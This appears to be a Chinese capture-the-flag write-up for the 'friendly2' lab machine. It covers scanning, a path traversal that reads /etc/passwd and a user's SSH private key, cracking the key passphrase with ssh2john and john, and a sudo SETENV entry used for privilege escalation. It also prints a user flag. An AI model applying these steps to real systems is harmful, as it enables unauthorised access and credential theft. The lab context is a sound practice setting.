信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn 192.168.152.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 11:22 EDT
Nmap scan report for 192.168.152.110
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
目录扫描
- /tools
- /assets
在tools页面的源码发现疑似路径
访问发现,发现是参数+文件,查看源码,无果,于是我猜测存在路径穿越,
果不其然,存在路径穿越,
拿取shell
gh0st:x:1001:1001::/home/gh0st:/bin/bash
两个思路:
- 通过九头蛇爆破gh0st的密码 => 无果
- 是否存在用户的id_rsa,尝试一下
好家伙,出来了,这里有个小tips,就是利用源码的方式,会好看一些
发现id_rsa有密码,需要爆破
payload:
1. ssh2john id_rsa > hash
2. john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic (id_rsa)
1g 0:00:00:14 DONE (2024-04-25 12:08) 0.06765g/s 17.32p/s 17.32c/s 17.32C/s 888888..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
chmod 600 id_rsa
ssh -i id_rsa gh0st@ip
拿取shell,得到user.txt
ab0366431e2d8ff563cf34272e3d14bd
提权
这里有个知识点:
- sucure_path:
secure_path
是 sudo 配置中的一个选项,用于限制 sudo 命令在执行时所使用的程序搜索路径。这个路径通常会被设置为一个明确的、安全的路径列表,以确保用户在通过 sudo 执行命令时只能够访问到系统中被认为是安全的程序。它有助于减少用户通过 sudo 权限执行恶意代码的风险,因为用户无法通过修改环境变量来更改程序的搜索路径。 - path:
PATH
是一个环境变量,用于指定系统在搜索可执行程序时要查找的目录列表。普通用户和非特权进程通常使用PATH
环境变量来查找可执行程序。用户可以通过修改PATH
环境变量来更改程序的搜索路径,但这可能会增加系统安全风险,因为用户可以意外或恶意地执行不安全的程序。 - 综上所述,
secure_path
是 sudo 特有的,用于限制 sudo 命令的程序搜索路径,而PATH
是普通环境变量,用于指定系统在搜索可执行程序时的搜索路径。secure_path
的目的是提高系统的安全性,而PATH
则是普通用户和进程用于确定可执行程序位置的常规机制。
Matching Defaults entries for gh0st on friendly2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gh0st may run the following commands on friendly2:
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
payload,这里利用提权方法我有点模糊,看emvee师傅的wp做的,有待研究